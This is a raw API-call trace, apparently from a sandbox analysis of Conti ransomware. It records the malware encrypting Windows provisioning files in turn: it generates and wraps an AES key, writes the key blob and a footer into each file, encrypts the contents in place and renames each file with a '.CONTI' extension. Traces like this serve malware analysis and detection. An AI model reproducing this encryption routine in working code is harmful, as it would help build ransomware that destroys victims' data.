	[0105.426] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.426] GetLastError () returned 0x5
	[0105.427] CryptDestroyKey (hKey=0x17c80f0) returned 1
	[0105.427] GetProcessHeap () returned 0x1720000
	[0105.427] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cbb8 | out: hHeap=0x1720000) returned 1
	[0105.427] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.371] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d5678 | out: phKey=0x17d5678*=0x17c8270) returned 1
	[0106.371] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d567c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d567c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.372] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml")) returned 0x20
	[0106.377] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.378] GetLastError () returned 0x0
	[0106.378] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=1822) returned 1
	[0106.378] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x71e
	[0106.378] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.378] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.378] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.378] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.378] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d567c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d567c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.383] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.383] ReadFile (in: hFile=0x3a8, lpBuffer=0x9880000, nNumberOfBytesToRead=0x71e, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x71e, lpOverlapped=0x0) returned 1
	[0106.383] CryptEncrypt (in: hKey=0x17c8270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x71e, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x720) returned 1
	[0106.383] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.383] WriteFile (in: hFile=0x3a8, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x720, lpOverlapped=0x0) returned 1
	[0106.383] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.384] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d5670*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d5670*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0106.384] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.384] CloseHandle (hObject=0x3a8) returned 1
	[0106.384] GetProcessHeap () returned 0x1720000
	[0106.384] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.384] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.384] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI"
	[0106.384] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\Prov\\RunTime\\0__Power_Policy.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\prov\\runtime\\0__power_policy.provxml.conti")) returned 1
	[0106.386] GetProcessHeap () returned 0x1720000
	[0106.386] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.386] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0106.386] GetProcessHeap () returned 0x1720000
	[0106.386] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.386] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.398] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c80b0) returned 1
	[0106.398] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d443c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.399] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml")) returned 0x20
	[0106.406] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.406] GetLastError () returned 0x0
	[0106.406] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=360) returned 1
	[0106.406] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x168
	[0106.406] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.406] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.412] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.412] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.412] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.419] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.419] ReadFile (in: hFile=0x3a8, lpBuffer=0x9880000, nNumberOfBytesToRead=0x168, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x168, lpOverlapped=0x0) returned 1
	[0106.419] CryptEncrypt (in: hKey=0x17c80b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x168, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x170) returned 1
	[0106.419] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.419] WriteFile (in: hFile=0x3a8, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x170, lpOverlapped=0x0) returned 1
	[0106.419] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.419] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0106.419] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.419] CloseHandle (hObject=0x3a8) returned 1
	[0106.419] GetProcessHeap () returned 0x1720000
	[0106.419] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.419] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml"
	[0106.419] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.CONTI"
	[0106.419] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\1__Power_Controls.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\1__power_controls.provxml.conti")) returned 1
	[0106.422] GetProcessHeap () returned 0x1720000
	[0106.422] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.423] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0106.423] GetProcessHeap () returned 0x1720000
	[0106.423] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3688 | out: hHeap=0x1720000) returned 1
	[0106.423] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.432] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d4438 | out: phKey=0x17d4438*=0x17c84f0) returned 1
	[0106.433] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d443c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d443c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.434] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml")) returned 0x20
	[0106.434] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.434] GetLastError () returned 0x0
	[0106.434] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=1631) returned 1
	[0106.435] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x65f
	[0106.435] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.435] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.435] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.435] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.435] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d443c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d443c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.445] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.445] ReadFile (in: hFile=0x3a8, lpBuffer=0x9880000, nNumberOfBytesToRead=0x65f, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x65f, lpOverlapped=0x0) returned 1
	[0106.445] CryptEncrypt (in: hKey=0x17c84f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x65f, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x660) returned 1
	[0106.445] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.445] WriteFile (in: hFile=0x3a8, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x660, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x660, lpOverlapped=0x0) returned 1
	[0106.445] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.445] WriteFile (in: hFile=0x3a8, lpBuffer=0x17d4430*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d4430*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0106.445] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.445] CloseHandle (hObject=0x3a8) returned 1
	[0106.445] GetProcessHeap () returned 0x1720000
	[0106.445] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.445] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"
	[0106.445] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.CONTI"
	[0106.445] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\customizations.xml.conti")) returned 1
	[0106.449] GetProcessHeap () returned 0x1720000
	[0106.449] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.449] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0106.449] GetProcessHeap () returned 0x1720000
	[0106.449] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cbcd8 | out: hHeap=0x1720000) returned 1
	[0106.449] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0106.456] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d48c8 | out: phKey=0x17d48c8*=0x17c8330) returned 1
	[0106.456] CryptExportKey (in: hKey=0x17c8330, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d48cc, pdwDataLen=0x3bbfde4 | out: pbData=0x17d48cc*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0106.457] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml")) returned 0x20
	[0106.458] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.458] GetLastError () returned 0x0
	[0106.458] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=1439) returned 1
	[0106.458] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x59f
	[0106.458] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.458] SetEndOfFile (hFile=0x398) returned 1
	[0106.458] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.458] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.458] WriteFile (in: hFile=0x398, lpBuffer=0x17d48cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d48cc*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0106.468] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.468] ReadFile (in: hFile=0x398, lpBuffer=0x9880000, nNumberOfBytesToRead=0x59f, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x59f, lpOverlapped=0x0) returned 1
	[0106.468] CryptEncrypt (in: hKey=0x17c8330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x59f, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x5a0) returned 1
	[0106.468] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.468] WriteFile (in: hFile=0x398, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x5a0, lpOverlapped=0x0) returned 1
	[0106.468] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.468] WriteFile (in: hFile=0x398, lpBuffer=0x17d48c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d48c0*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0106.468] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.468] CloseHandle (hObject=0x398) returned 1
	[0106.468] GetProcessHeap () returned 0x1720000
	[0106.468] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.468] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"
	[0106.468] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.CONTI"
	[0106.468] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{33d78dbc-3db7-4398-8533-000d7c02e5d1}\\customizations.xml.conti")) returned 1
	[0106.477] GetProcessHeap () returned 0x1720000
	[0106.477] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
